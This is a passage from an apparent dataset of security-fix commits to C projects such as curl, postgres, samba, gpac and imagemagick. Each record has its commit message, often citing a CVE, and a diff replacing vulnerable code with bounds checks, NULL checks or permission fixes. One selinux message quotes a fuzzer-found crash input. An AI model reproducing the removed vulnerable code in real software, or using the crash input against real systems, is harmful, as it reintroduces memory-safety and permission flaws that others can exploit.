-7666,7 +7663,7 @@ static s32 gf_hevc_read_vps_bs_internal(GF_BitStream *bs, HEVCState *hevc, Bool\n \t//nalu header already parsed\n \tvps_id = gf_bs_read_int_log(bs, 4, \"vps_id\");\n \n-\tif (vps_id >= 16) return -1;\n+\tif ((vps_id<0) || (vps_id >= 16)) return -1;\n \n \tvps = &hevc->vps[vps_id];\n \tvps->bit_pos_vps_extensions = -1;\n", "related": false}, {"section": "@@ -7895,7 +7892,7 @@ static s32 gf_hevc_read_sps_bs_internal(GF_BitStream *bs, HEVCState *hevc, u8 la\n \n \t//nalu header already parsed\n \tvps_id = gf_bs_read_int_log(bs, 4, \"vps_id\");\n-\tif (vps_id >= 16) {\n+\tif ((vps_id<0) || (vps_id >= 16)) {\n \t\treturn -1;\n \t}\n \tmemset(&ptl, 0, sizeof(ptl));\n", "related": false}, {"section": "@@ -8210,7 +8207,7 @@ static s32 gf_hevc_read_pps_bs_internal(GF_BitStream *bs, HEVCState *hevc)\n \t\tpps->state = 1;\n \t}\n \tpps->sps_id = gf_bs_read_ue_log(bs, \"sps_id\");\n-\tif (pps->sps_id >= 16) {\n+\tif ((pps->sps_id<0) || (pps->sps_id >= 16)) {\n \t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CODING, (\"[HEVC] wrong SPS ID %d in PPS\\n\", pps->sps_id));\n \t\tpps->sps_id=0;\n \t\treturn -1;\n", "related": false}, {"section": "@@ -9360,7 +9357,7 @@ static s32 gf_media_vvc_read_vps_bs_internal(GF_BitStream *bs, VVCState *vvc, Bo\n \n \t//nalu header already parsed\n \tvps_id = gf_bs_read_int_log(bs, 4, \"vps_id\");\n-\tif (vps_id >= 16) return -1;\n+\tif ((vps_id<0) || (vps_id >= 16)) return -1;\n \tif (!vps_id) {\n \t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CODING, (\"[VVC] VPS ID 0 is forbidden\\n\"));\n \t\treturn -1;\n", "related": true}, {"section": "@@ -9451,11 +9448,11 @@ static s32 gf_media_vvc_read_sps_bs_internal(GF_BitStream *bs, VVCState *vvc, u8\n \tif (vui_flag_pos) *vui_flag_pos = 0;\n \n \tsps_id = gf_bs_read_int_log(bs, 4, \"sps_id\");\n-\tif (sps_id >= 16) {\n+\tif ((sps_id<0) || (sps_id >= 16)) {\n \t\treturn -1;\n \t}\n \tvps_id = gf_bs_read_int_log(bs, 4, \"vps_id\");\n-\tif (vps_id >= 16) {\n+\tif ((vps_id<0) || (vps_id >= 16)) {\n \t\treturn -1;\n \t}\n \tif (!vps_id && !vvc->vps[0].state) {\n", "related": true}, {"section": "@@ -9657,7 +9654,7 @@ static s32 gf_media_vvc_read_pps_bs_internal(GF_BitStream *bs, VVCState *vvc)\n \t\tpps->state = 1;\n \t}\n \tpps->sps_id = gf_bs_read_int_log(bs, 4, \"sps_id\");\n-\tif (pps->sps_id >= 16) {\n+\tif ((pps->sps_id<0) || (pps->sps_id >= 16)) {\n \t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CODING, (\"[VVC] wrong SPS ID %d in PPS\\n\", pps->sps_id));\n \t\tpps->sps_id=0;\n \t\treturn -1;\n", "related": true}, {"section": "@@ -9725,7 +9722,7 @@ s32 vvc_parse_picture_header(GF_BitStream *bs, VVCState *vvc, VVCSliceInfo *si)\n \t\tsi->intra_slice_allowed_flag = gf_bs_read_int_log(bs, 1, \"intra_slice_allowed_flag\");\n \n \tpps_id = gf_bs_read_ue_log(bs, \"pps_id\");\n-\tif (pps_id >= 64)\n+\tif ((pps_id<0) || (pps_id >= 64))\n \t\treturn -1;\n \tsi->pps = &vvc->pps[pps_id];\n \tsi->sps = &vvc->sps[si->pps->sps_id];", "related": true}]} +{"owner": "gpac", "repo": "gpac", "language": "C", "file_name": "src/isomedia/track.c", "commit_id": "df8fffd839fe5ae9acd82d26fd48280a397411d9", "commit_message": "fixed #1736", "patch": "@@ -1035,10 +1035,13 @@ GF_Err MergeTrack(GF_TrackBox *trak, GF_TrackFragmentBox *traf, GF_MovieFragment\n \t\t\t\tif ((aux_info_type == GF_ISOM_CENC_SCHEME) || (aux_info_type == GF_ISOM_CBC_SCHEME) ||\n \t\t\t\t\t(aux_info_type == GF_ISOM_CENS_SCHEME) || (aux_info_type == GF_ISOM_CBCS_SCHEME) ||\n \t\t\t\t\t(gf_list_count(traf->sai_offsets) == 1)) {\n-\t\t\t\t\toffset = saio->offsets[0] + moof_offset;\n-\t\t\t\t\tnb_saio = saio->entry_count;\n-\t\t\t\t\tbreak;\n+\t\t\t\t\tif (saio->offsets && saio->entry_count) {\n+\t\t\t\t\t\toffset = saio->offsets[0] + moof_offset;\n+\t\t\t\t\t\tnb_saio = saio->entry_count;\n+\t\t\t\t\t\tbreak;\n+\t\t\t\t\t}\n \t\t\t\t}\n+\t\t\t\tsaio = NULL;\n \t\t\t}\n \t\t\tfor (i = 0; i < gf_list_count(traf->sai_sizes); i++) {\n \t\t\t\tsaiz = (GF_SampleAuxiliaryInfoSizeBox *)gf_list_get(traf->sai_sizes, i);\n@@ -1050,6 +1053,7 @@ GF_Err MergeTrack(GF_TrackBox *trak, GF_TrackFragmentBox *traf, GF_MovieFragment\n \t\t\t\t\t(gf_list_count(traf->sai_sizes) == 1)) {\n \t\t\t\t\tbreak;\n \t\t\t\t}\n+\t\t\t\tsaiz = NULL;\n \t\t\t}\n \t\t\tif (saiz && saio && senc) {\n \t\t\t\tfor (i = 0; i < saiz->sample_count; i++) {", "sections": [{"section": "@@ -1035,10 +1035,13 @@ GF_Err MergeTrack(GF_TrackBox *trak, GF_TrackFragmentBox *traf, GF_MovieFragment\n \t\t\t\tif ((aux_info_type == GF_ISOM_CENC_SCHEME) || (aux_info_type == GF_ISOM_CBC_SCHEME) ||\n \t\t\t\t\t(aux_info_type == GF_ISOM_CENS_SCHEME) || (aux_info_type == GF_ISOM_CBCS_SCHEME) ||\n \t\t\t\t\t(gf_list_count(traf->sai_offsets) == 1)) {\n-\t\t\t\t\toffset = saio->offsets[0] + moof_offset;\n-\t\t\t\t\tnb_saio = saio->entry_count;\n-\t\t\t\t\tbreak;\n+\t\t\t\t\tif (saio->offsets && saio->entry_count) {\n+\t\t\t\t\t\toffset = saio->offsets[0] + moof_offset;\n+\t\t\t\t\t\tnb_saio = saio->entry_count;\n+\t\t\t\t\t\tbreak;\n+\t\t\t\t\t}\n \t\t\t\t}\n+\t\t\t\tsaio = NULL;\n \t\t\t}\n \t\t\tfor (i = 0; i < gf_list_count(traf->sai_sizes); i++) {\n \t\t\t\tsaiz = (GF_SampleAuxiliaryInfoSizeBox *)gf_list_get(traf->sai_sizes, i);\n", "related": false}, {"section": "@@ -1050,6 +1053,7 @@ GF_Err MergeTrack(GF_TrackBox *trak, GF_TrackFragmentBox *traf, GF_MovieFragment\n \t\t\t\t\t(gf_list_count(traf->sai_sizes) == 1)) {\n \t\t\t\t\tbreak;\n \t\t\t\t}\n+\t\t\t\tsaiz = NULL;\n \t\t\t}\n \t\t\tif (saiz && saio && senc) {\n \t\t\t\tfor (i = 0; i < saiz->sample_count; i++) {", "related": false}]} +{"owner": "gnutls", "repo": "nettle", "language": "C", "file_name": "curve448-eh-to-x.c", "commit_id": "a63893791280d441c713293491da97c79c0950fe", "commit_message": "New functions ecc_mod_mul_canonical and ecc_mod_sqr_canonical.\n\n* ecc-mod-arith.c (ecc_mod_mul_canonical, ecc_mod_sqr_canonical):\nNew functions.\n* ecc-internal.h: Declare and document new functions.\n* curve448-eh-to-x.c (curve448_eh_to_x): Use ecc_mod_sqr_canonical.\n* curve25519-eh-to-x.c (curve25519_eh_to_x): Use ecc_mod_mul_canonical.\n* ecc-eh-to-a.c (ecc_eh_to_a): Likewise.\n* ecc-j-to-a.c (ecc_j_to_a): Likewise.\n* ecc-mul-m.c (ecc_mul_m): Likewise.\n\n(cherry picked from commit 2bf497ba4d6acc6f352bca015837fad33008565c)", "patch": "@@ -52,7 +52,6 @@ curve448_eh_to_x (mp_limb_t *xp, const mp_limb_t *p, mp_limb_t *scratch)\n #define tp (scratch + ecc->p.size)\n \n const struct ecc_curve *ecc = &_nettle_curve448;\n- mp_limb_t cy;\n \n /* If u = U/W and v = V/W are the coordinates of the point on\n edwards448 we get the curve448 x coordinate as\n@@ -62,10 +61,8 @@ curve448_eh_to_x (mp_limb_t *xp, const mp_limb_t *p, mp_limb_t *scratch)\n /* Needs a total of 5*size storage. */\n ecc->p.invert (&ecc->p, t0, up, tp);\n ecc_mod_mul (&ecc->p, t0, t0, vp, tp);\n- ecc_mod_sqr (&ecc->p, t0, t0, tp);\n+ ecc_mod_sqr_canonical (&ecc->p, xp, t0, tp);\n \n- cy = mpn_sub_n (xp, t0, ecc->p.m, ecc->p.size);\n- cnd_copy (cy, xp, t0, ecc->p.size);\n #undef up\n #undef vp\n #undef t0", "sections": [{"section": "@@ -52,7 +52,6 @@ curve448_eh_to_x (mp_limb_t *xp, const mp_limb_t *p, mp_limb_t *scratch)\n #define tp (scratch + ecc->p.size)\n \n const struct ecc_curve *ecc = &_nettle_curve448;\n- mp_limb_t cy;\n \n /* If u = U/W and v = V/W are the coordinates of the point on\n edwards448 we get the curve448 x coordinate as\n", "related": false}, {"section": "@@ -62,10 +61,8 @@ curve448_eh_to_x (mp_limb_t *xp, const mp_limb_t *p, mp_limb_t *scratch)\n /* Needs a total of 5*size storage. */\n ecc->p.invert (&ecc->p, t0, up, tp);\n ecc_mod_mul (&ecc->p, t0, t0, vp, tp);\n- ecc_mod_sqr (&ecc->p, t0, t0, tp);\n+ ecc_mod_sqr_canonical (&ecc->p, xp, t0, tp);\n \n- cy = mpn_sub_n (xp, t0, ecc->p.m, ecc->p.size);\n- cnd_copy (cy, xp, t0, ecc->p.size);\n #undef up\n #undef vp\n #undef t0", "related": false}]} +{"owner": "curl", "repo": "curl", "language": "C", "file_name": "lib/vtls/mesalink.c", "commit_id": "b09c8ee15771c614c4bf3ddac893cdb12187c844", "commit_message": "vtls: add 'isproxy' argument to Curl_ssl_get/addsessionid()\n\nTo make sure we set and extract the correct session.\n\nReported-by: Mingtao Yang\nBug: https://curl.se/docs/CVE-2021-22890.html\n\nCVE-2021-22890", "patch": "@@ -261,7 +261,9 @@ mesalink_connect_step1(struct Curl_easy *data,\n void *ssl_sessionid = NULL;\n \n Curl_ssl_sessionid_lock(data);\n- if(!Curl_ssl_getsessionid(data, conn, &ssl_sessionid, NULL, sockindex)) {\n+ if(!Curl_ssl_getsessionid(data, conn,\n+ SSL_IS_PROXY() ? TRUE : FALSE,\n+ &ssl_sessionid, NULL, sockindex)) {\n /* we got a session id, use it! */\n if(!SSL_set_session(BACKEND->handle, ssl_sessionid)) {\n Curl_ssl_sessionid_unlock(data);\n@@ -345,13 +347,14 @@ mesalink_connect_step3(struct connectdata *conn, int sockindex)\n bool incache;\n SSL_SESSION *our_ssl_sessionid;\n void *old_ssl_sessionid = NULL;\n+ bool isproxy = SSL_IS_PROXY() ? TRUE : FALSE;\n \n our_ssl_sessionid = SSL_get_session(BACKEND->handle);\n \n Curl_ssl_sessionid_lock(data);\n incache =\n- !(Curl_ssl_getsessionid(data, conn,\n- &old_ssl_sessionid, NULL, sockindex));\n+ !(Curl_ssl_getsessionid(data, conn, isproxy, &old_ssl_sessionid, NULL,\n+ sockindex));\n if(incache) {\n if(old_ssl_sessionid != our_ssl_sessionid) {\n infof(data, \"old SSL session ID is stale, removing\\n\");\n@@ -361,8 +364,9 @@ mesalink_connect_step3(struct connectdata *conn, int sockindex)\n }\n \n if(!incache) {\n- result = Curl_ssl_addsessionid(\n- data, conn, our_ssl_sessionid, 0 /* unknown size */, sockindex);\n+ result =\n+ Curl_ssl_addsessionid(data, conn, isproxy, our_ssl_sessionid, 0,\n+ sockindex);\n if(result) {\n Curl_ssl_sessionid_unlock(data);\n failf(data, \"failed to store ssl session\");", "sections": [{"section": "@@ -261,7 +261,9 @@ mesalink_connect_step1(struct Curl_easy *data,\n void *ssl_sessionid = NULL;\n \n Curl_ssl_sessionid_lock(data);\n- if(!Curl_ssl_getsessionid(data, conn, &ssl_sessionid, NULL, sockindex)) {\n+ if(!Curl_ssl_getsessionid(data, conn,\n+ SSL_IS_PROXY() ? TRUE : FALSE,\n+ &ssl_sessionid, NULL, sockindex)) {\n /* we got a session id, use it! */\n if(!SSL_set_session(BACKEND->handle, ssl_sessionid)) {\n Curl_ssl_sessionid_unlock(data);\n", "related": false}, {"section": "@@ -345,13 +347,14 @@ mesalink_connect_step3(struct connectdata *conn, int sockindex)\n bool incache;\n SSL_SESSION *our_ssl_sessionid;\n void *old_ssl_sessionid = NULL;\n+ bool isproxy = SSL_IS_PROXY() ? TRUE : FALSE;\n \n our_ssl_sessionid = SSL_get_session(BACKEND->handle);\n \n Curl_ssl_sessionid_lock(data);\n incache =\n- !(Curl_ssl_getsessionid(data, conn,\n- &old_ssl_sessionid, NULL, sockindex));\n+ !(Curl_ssl_getsessionid(data, conn, isproxy, &old_ssl_sessionid, NULL,\n+ sockindex));\n if(incache) {\n if(old_ssl_sessionid != our_ssl_sessionid) {\n infof(data, \"old SSL session ID is stale, removing\\n\");\n", "related": false}, {"section": "@@ -361,8 +364,9 @@ mesalink_connect_step3(struct connectdata *conn, int sockindex)\n }\n \n if(!incache) {\n- result = Curl_ssl_addsessionid(\n- data, conn, our_ssl_sessionid, 0 /* unknown size */, sockindex);\n+ result =\n+ Curl_ssl_addsessionid(data, conn, isproxy, our_ssl_sessionid, 0,\n+ sockindex);\n if(result) {\n Curl_ssl_sessionid_unlock(data);\n failf(data, \"failed to store ssl session\");", "related": false}]} +{"owner": "postgres", "repo": "postgres", "language": "C", "file_name": "src/backend/commands/copy.c", "commit_id": "8e56684d54d44ba4ed737d5847d31fba6fb13763", "commit_message": "Fix permission checks on constraint violation errors on partitions.\n\nIf a cross-partition UPDATE violates a constraint on the target partition,\nand the columns in the new partition are in different physical order than\nin the parent, the error message can reveal columns that the user does not\nhave SELECT permission on. A similar bug was fixed earlier in commit\n804b6b6db4.\n\nThe cause of the bug is that the callers of the\nExecBuildSlotValueDescription() function got confused when constructing\nthe list of modified columns. If the tuple was routed from a parent, we\nconverted the tuple to the parent's format, but the list of modified\ncolumns was grabbed directly from the child's RTE entry.\n\nExecUpdateLockMode() had a similar issue. That lead to confusion on which\ncolumns are key columns, leading to wrong tuple lock being taken on tables\nreferenced by foreign keys, when a row is updated with INSERT ON CONFLICT\nUPDATE. A new isolation test is added for that corner case.\n\nWith this patch, the ri_RangeTableIndex field is no longer set for\npartitions that don't have an entry in the range table. Previously, it was\nset to the RTE entry of the parent relation, but that was confusing.\n\nNOTE: This modifies the ResultRelInfo struct, replacing the\nri_PartitionRoot field with ri_RootResultRelInfo. That's a bit risky to\nbackpatch, because it breaks any extensions accessing the field. The\nchange that ri_RangeTableIndex is not set for partitions could potentially\nbreak extensions, too. The ResultRelInfos are visible to FDWs at least,\nand this patch required small changes to postgres_fdw. Nevertheless, this\nseem like the least bad option. I don't think these fields widely used in\nextensions; I don't think there are FDWs out there that uses the FDW\n\"direct update\" API, other than postgres_fdw. If there is, you will get a\ncompilation error, so hopefully it is caught quickly.\n\nBackpatch to 11, where support for both cross-partition UPDATEs, and unique\nindexes on partitioned tables, were added.\n\nReviewed-by: Amit Langote\nSecurity: CVE-2021-3393", "patch": "@@ -2804,6 +2804,7 @@ CopyFrom(CopyState cstate)\n \tmtstate->ps.state = estate;\n \tmtstate->operation = CMD_INSERT;\n \tmtstate->resultRelInfo = estate->es_result_relations;\n+\tmtstate->rootResultRelInfo = estate->es_result_relations;\n \n \tif (resultRelInfo->ri_FdwRoutine != NULL &&\n \t\tresultRelInfo->ri_FdwRoutine->BeginForeignInsert != NULL)", "sections": [{"section": "@@ -2804,6 +2804,7 @@ CopyFrom(CopyState cstate)\n \tmtstate->ps.state = estate;\n \tmtstate->operation = CMD_INSERT;\n \tmtstate->resultRelInfo = estate->es_result_relations;\n+\tmtstate->rootResultRelInfo = estate->es_result_relations;\n \n \tif (resultRelInfo->ri_FdwRoutine != NULL &&\n \t\tresultRelInfo->ri_FdwRoutine->BeginForeignInsert != NULL)", "related": false}]} +{"owner": "389ds", "repo": "389-ds-base", "language": "C", "file_name": "ldap/servers/plugins/sync/sync_util.c", "commit_id": "d7eef2fcfbab2ef8aa6ee0bf60f0a9b16ede66e0", "commit_message": "Issue 4711 - SIGSEV with sync_repl (#4738)\n\nBug description:\r\n\tsync_repl sends back entries identified with a unique\r\n\tidentifier that is 'nsuniqueid'. If 'nsuniqueid' is\r\n\tmissing, then it may crash\r\n\r\nFix description:\r\n\tCheck a nsuniqueid is available else returns OP_ERR\r\n\r\nrelates: https://github.com/389ds/389-ds-base/issues/4711\r\n\r\nReviewed by: Pierre Rogier, James Chapman, William Brown (Thanks!)\r\n\r\nPlatforms tested: F33", "patch": "@@ -165,8 +165,8 @@ sync_create_state_control(Slapi_Entry *e, LDAPControl **ctrlp, int type, Sync_Co\n BerElement *ber;\n struct berval *bvp;\n char *uuid;\n- Slapi_Attr *attr;\n- Slapi_Value *val;\n+ Slapi_Attr *attr = NULL;\n+ Slapi_Value *val = NULL;\n \n if (type == LDAP_SYNC_NONE || ctrlp == NULL || (ber = der_alloc()) == NULL) {\n return (LDAP_OPERATIONS_ERROR);\n@@ -191,6 +191,14 @@ sync_create_state_control(Slapi_Entry *e, LDAPControl **ctrlp, int type, Sync_Co\n } else {\n slapi_entry_attr_find(e, SLAPI_ATTR_UNIQUEID, &attr);\n slapi_attr_first_value(attr, &val);\n+ if ((attr == NULL) || (val == NULL)) {\n+ /* It may happen with entries in special backends\n+ * such like cn=config, cn=shema, cn=monitor...\n+ */\n+ slapi_log_err(SLAPI_LOG_ERR, SYNC_PLUGIN_SUBSYSTEM,\n+ \"sync_create_state_control - Entries are missing nsuniqueid. Unable to proceed.\\n\");\n+ return (LDAP_OPERATIONS_ERROR);\n+ }\n uuid = sync_nsuniqueid2uuid(slapi_value_get_string(val));\n }\n ", "sections": [{"section": "@@ -165,8 +165,8 @@ sync_create_state_control(Slapi_Entry *e, LDAPControl **ctrlp, int type, Sync_Co\n BerElement *ber;\n struct berval *bvp;\n char *uuid;\n- Slapi_Attr *attr;\n- Slapi_Value *val;\n+ Slapi_Attr *attr = NULL;\n+ Slapi_Value *val = NULL;\n \n if (type == LDAP_SYNC_NONE || ctrlp == NULL || (ber = der_alloc()) == NULL) {\n return (LDAP_OPERATIONS_ERROR);\n", "related": false}, {"section": "@@ -191,6 +191,14 @@ sync_create_state_control(Slapi_Entry *e, LDAPControl **ctrlp, int type, Sync_Co\n } else {\n slapi_entry_attr_find(e, SLAPI_ATTR_UNIQUEID, &attr);\n slapi_attr_first_value(attr, &val);\n+ if ((attr == NULL) || (val == NULL)) {\n+ /* It may happen with entries in special backends\n+ * such like cn=config, cn=shema, cn=monitor...\n+ */\n+ slapi_log_err(SLAPI_LOG_ERR, SYNC_PLUGIN_SUBSYSTEM,\n+ \"sync_create_state_control - Entries are missing nsuniqueid. Unable to proceed.\\n\");\n+ return (LDAP_OPERATIONS_ERROR);\n+ }\n uuid = sync_nsuniqueid2uuid(slapi_value_get_string(val));\n }\n ", "related": false}]} +{"owner": "nss-dev", "repo": "nss", "language": "C", "file_name": "lib/freebl/chacha20poly1305.c", "commit_id": "9ff9d3925d31ab265a965ab1d16d76c496ddb5c8", "commit_message": "Bug 1636771 - Fix incorrect call to Chacha20Poly1305 by PKCS11. r=jcj,kjacobs,rrelyea\n\nDifferential Revision: https://phabricator.services.mozilla.com/D74801\n\n--HG--\nextra : moz-landing-system : lando", "patch": "@@ -81,7 +81,7 @@ ChaCha20Poly1305_InitContext(ChaCha20Poly1305Context *ctx,\n PORT_SetError(SEC_ERROR_BAD_KEY);\n return SECFailure;\n }\n- if (tagLen == 0 || tagLen > 16) {\n+ if (tagLen != 16) {\n PORT_SetError(SEC_ERROR_INPUT_LEN);\n return SECFailure;\n }", "sections": [{"section": "@@ -81,7 +81,7 @@ ChaCha20Poly1305_InitContext(ChaCha20Poly1305Context *ctx,\n PORT_SetError(SEC_ERROR_BAD_KEY);\n return SECFailure;\n }\n- if (tagLen == 0 || tagLen > 16) {\n+ if (tagLen != 16) {\n PORT_SetError(SEC_ERROR_INPUT_LEN);\n return SECFailure;\n }", "related": false}]} +{"owner": "zephyrproject-rtos", "repo": "zephyr", "language": "C", "file_name": "subsys/net/l2/ieee802154/ieee802154_fragment.c", "commit_id": "a980762f70d7048825e6ce9e42ceb6b5f87a5e44", "commit_message": "net/ieee802154: Drop fragmented packet if first frag is not present\n\nBogus fragmented packet could be sent without a FRAG1 fragment and hit\nreassembly. Let's make sure this does not happen.\n\nSigned-off-by: Tomasz Bursztyka ", "patch": "@@ -472,6 +472,11 @@ static inline void fragment_reconstruct_packet(struct net_pkt *pkt)\n \tfragment_remove_headers(pkt);\n }\n \n+static inline bool fragment_packet_valid(struct net_pkt *pkt)\n+{\n+\treturn (get_datagram_type(pkt->buffer->data) == NET_6LO_DISPATCH_FRAG1);\n+}\n+\n /**\n * Parse size and tag from the fragment, check if we have any cache\n * related to it. If not create a new cache.\n@@ -537,11 +542,14 @@ static inline enum net_verdict fragment_add_to_cache(struct net_pkt *pkt)\n \t\t\tcache->pkt = NULL;\n \t\t}\n \n+\t\tclear_reass_cache(size, tag);\n \n-\t\tfragment_reconstruct_packet(pkt);\n+\t\tif (!fragment_packet_valid(pkt)) {\n+\t\t\tNET_ERR(\"Invalid fragmented packet\");\n+\t\t\treturn NET_DROP;\n+\t\t}\n \n-\t\t/* Once reassemble is done, cache is no longer needed. */\n-\t\tclear_reass_cache(size, tag);\n+\t\tfragment_reconstruct_packet(pkt);\n \n \t\tif (!net_6lo_uncompress(pkt)) {\n \t\t\tNET_ERR(\"Could not uncompress. Bogus packet?\");", "sections": [{"section": "@@ -472,6 +472,11 @@ static inline void fragment_reconstruct_packet(struct net_pkt *pkt)\n \tfragment_remove_headers(pkt);\n }\n \n+static inline bool fragment_packet_valid(struct net_pkt *pkt)\n+{\n+\treturn (get_datagram_type(pkt->buffer->data) == NET_6LO_DISPATCH_FRAG1);\n+}\n+\n /**\n * Parse size and tag from the fragment, check if we have any cache\n * related to it. If not create a new cache.\n", "related": false}, {"section": "@@ -537,11 +542,14 @@ static inline enum net_verdict fragment_add_to_cache(struct net_pkt *pkt)\n \t\t\tcache->pkt = NULL;\n \t\t}\n \n+\t\tclear_reass_cache(size, tag);\n \n-\t\tfragment_reconstruct_packet(pkt);\n+\t\tif (!fragment_packet_valid(pkt)) {\n+\t\t\tNET_ERR(\"Invalid fragmented packet\");\n+\t\t\treturn NET_DROP;\n+\t\t}\n \n-\t\t/* Once reassemble is done, cache is no longer needed. */\n-\t\tclear_reass_cache(size, tag);\n+\t\tfragment_reconstruct_packet(pkt);\n \n \t\tif (!net_6lo_uncompress(pkt)) {\n \t\t\tNET_ERR(\"Could not uncompress. Bogus packet?\");", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "MagickCore/quantize.c", "commit_id": "7b058696133c6d36e0b48a454e357482db71982e", "commit_message": "https://github.com/ImageMagick/ImageMagick/issues/1740", "patch": "@@ -2347,8 +2347,8 @@ MagickExport MagickBooleanType PosterizeImage(Image *image,const size_t levels,\n const DitherMethod dither_method,ExceptionInfo *exception)\n {\n #define PosterizeImageTag \"Posterize/Image\"\n-#define PosterizePixel(pixel) (Quantum) (QuantumRange*(MagickRound( \\\n- QuantumScale*pixel*(levels-1)))/MagickMax((ssize_t) levels-1,1))\n+#define PosterizePixel(pixel) ClampToQuantum((MagickRealType) QuantumRange*( \\\n+ MagickRound(QuantumScale*pixel*(levels-1)))/MagickMax((ssize_t) levels-1,1))\n \n CacheView\n *image_view;\n@@ -3282,17 +3282,21 @@ extern \"C\" {\n \n static int IntensityCompare(const void *x,const void *y)\n {\n+ double\n+ intensity;\n+\n PixelInfo\n *color_1,\n *color_2;\n \n- ssize_t\n- intensity;\n-\n color_1=(PixelInfo *) x;\n color_2=(PixelInfo *) y;\n- intensity=(ssize_t) (GetPixelInfoIntensity((const Image *) NULL,color_1)-\n- GetPixelInfoIntensity((const Image *) NULL,color_2));\n+ intensity=GetPixelInfoIntensity((const Image *) NULL,color_1)-\n+ GetPixelInfoIntensity((const Image *) NULL,color_2);\n+ if (intensity > (double) INT_MAX)\n+ intensity=(double) INT_MAX;\n+ if (intensity < (double) INT_MIN)\n+ intensity=(double) INT_MIN;\n return((int) intensity);\n }\n ", "sections": [{"section": "@@ -2347,8 +2347,8 @@ MagickExport MagickBooleanType PosterizeImage(Image *image,const size_t levels,\n const DitherMethod dither_method,ExceptionInfo *exception)\n {\n #define PosterizeImageTag \"Posterize/Image\"\n-#define PosterizePixel(pixel) (Quantum) (QuantumRange*(MagickRound( \\\n- QuantumScale*pixel*(levels-1)))/MagickMax((ssize_t) levels-1,1))\n+#define PosterizePixel(pixel) ClampToQuantum((MagickRealType) QuantumRange*( \\\n+ MagickRound(QuantumScale*pixel*(levels-1)))/MagickMax((ssize_t) levels-1,1))\n \n CacheView\n *image_view;\n", "related": false}, {"section": "@@ -3282,17 +3282,21 @@ extern \"C\" {\n \n static int IntensityCompare(const void *x,const void *y)\n {\n+ double\n+ intensity;\n+\n PixelInfo\n *color_1,\n *color_2;\n \n- ssize_t\n- intensity;\n-\n color_1=(PixelInfo *) x;\n color_2=(PixelInfo *) y;\n- intensity=(ssize_t) (GetPixelInfoIntensity((const Image *) NULL,color_1)-\n- GetPixelInfoIntensity((const Image *) NULL,color_2));\n+ intensity=GetPixelInfoIntensity((const Image *) NULL,color_1)-\n+ GetPixelInfoIntensity((const Image *) NULL,color_2);\n+ if (intensity > (double) INT_MAX)\n+ intensity=(double) INT_MAX;\n+ if (intensity < (double) INT_MIN)\n+ intensity=(double) INT_MIN;\n return((int) intensity);\n }\n ", "related": false}]} +{"owner": "samba-team", "repo": "samba", "language": "C", "file_name": "lib/ldb/common/attrib_handlers.c", "commit_id": "fab6b79b7724f0b636963be528483e3e946884aa", "commit_message": "CVE-2021-20277 ldb/attrib_handlers casefold: stay in bounds\n\nFor a string that had N spaces at the beginning, we would\ntry to move N bytes beyond the end of the string.\n\nBUG: https://bugzilla.samba.org/show_bug.cgi?id=14655\n\nSigned-off-by: Douglas Bagnall \nReviewed-by: Andrew Bartlett \n\n(cherry-picked from commit for master)", "patch": "@@ -76,7 +76,7 @@ int ldb_handler_fold(struct ldb_context *ldb, void *mem_ctx,\n \t\n \t/* remove leading spaces if any */\n \tif (*s == ' ') {\n-\t\tfor (t = s; *s == ' '; s++) ;\n+\t\tfor (t = s; *s == ' '; s++, l--) ;\n \n \t\t/* remove leading spaces by moving down the string */\n \t\tmemmove(t, s, l);", "sections": [{"section": "@@ -76,7 +76,7 @@ int ldb_handler_fold(struct ldb_context *ldb, void *mem_ctx,\n \t\n \t/* remove leading spaces if any */\n \tif (*s == ' ') {\n-\t\tfor (t = s; *s == ' '; s++) ;\n+\t\tfor (t = s; *s == ' '; s++, l--) ;\n \n \t\t/* remove leading spaces by moving down the string */\n \t\tmemmove(t, s, l);", "related": false}]} +{"owner": "keepkey", "repo": "keepkey-firmware", "language": "C", "file_name": "lib/firmware/ethereum.c", "commit_id": "e49d45594002d4d3fbc1f03488e6dfc0a0a65836", "commit_message": "710 merge", "patch": "@@ -93,10 +93,10 @@ uint8_t ethereum_extractThorchainData(const EthereumSignTx *msg,\n // offset = deposit function hash + address + address + uint256\n uint16_t offset = 4 + (5 * 32);\n int16_t len = msg->data_length - offset;\n- if (msg->has_data_length && len > 0) {\n+ if (msg->has_data_length && len > 0 && len < 256) {\n memcpy(buffer, msg->data_initial_chunk.bytes + offset, len);\n // String length must be < 255 characters\n- return len < 256 ? (uint8_t)len : 0;\n+ return (uint8_t)len;\n }\n return 0;\n }", "sections": [{"section": "@@ -93,10 +93,10 @@ uint8_t ethereum_extractThorchainData(const EthereumSignTx *msg,\n // offset = deposit function hash + address + address + uint256\n uint16_t offset = 4 + (5 * 32);\n int16_t len = msg->data_length - offset;\n- if (msg->has_data_length && len > 0) {\n+ if (msg->has_data_length && len > 0 && len < 256) {\n memcpy(buffer, msg->data_initial_chunk.bytes + offset, len);\n // String length must be < 255 characters\n- return len < 256 ? (uint8_t)len : 0;\n+ return (uint8_t)len;\n }\n return 0;\n }", "related": false}]} +{"owner": "selinuxproject", "repo": "selinux", "language": "C", "file_name": "libsepol/cil/src/cil_resolve_ast.c", "commit_id": "340f0eb7f3673e8aacaf0a96cbfcd4d12a405521", "commit_message": "libsepol/cil: Check for statements not allowed in optional blocks\n\nWhile there are some checks for invalid statements in an optional\nblock when resolving the AST, there are no checks when building the\nAST.\n\nOSS-Fuzz found the following policy which caused a null dereference\nin cil_tree_get_next_path().\n (blockinherit b3)\n (sid SID)\n (sidorder(SID))\n (optional o\n (ibpkeycon :(1 0)s)\n (block b3\n (filecon\"\"block())\n (filecon\"\"block())))\n\nThe problem is that the blockinherit copies block b3 before\nthe optional block is disabled. When the optional is disabled,\nblock b3 is deleted along with everything else in the optional.\nLater, when filecon statements with the same path are found an\nerror message is produced and in trying to find out where the block\nwas copied from, the reference to the deleted block is used. The\nerror handling code assumes (rightly) that if something was copied\nfrom a block then that block should still exist.\n\nIt is clear that in-statements, blocks, and macros cannot be in an\noptional, because that allows nodes to be copied from the optional\nblock to somewhere outside even though the optional could be disabled\nlater. When optionals are disabled the AST is reset and the\nresolution is restarted at the point of resolving macro calls, so\nanything resolved before macro calls will never be re-resolved.\nThis includes tunableifs, in-statements, blockinherits,\nblockabstracts, and macro definitions. Tunable declarations also\ncannot be in an optional block because they are needed to resolve\ntunableifs. It should be fine to allow blockinherit statements in\nan optional, because that is copying nodes from outside the optional\nto the optional and if the 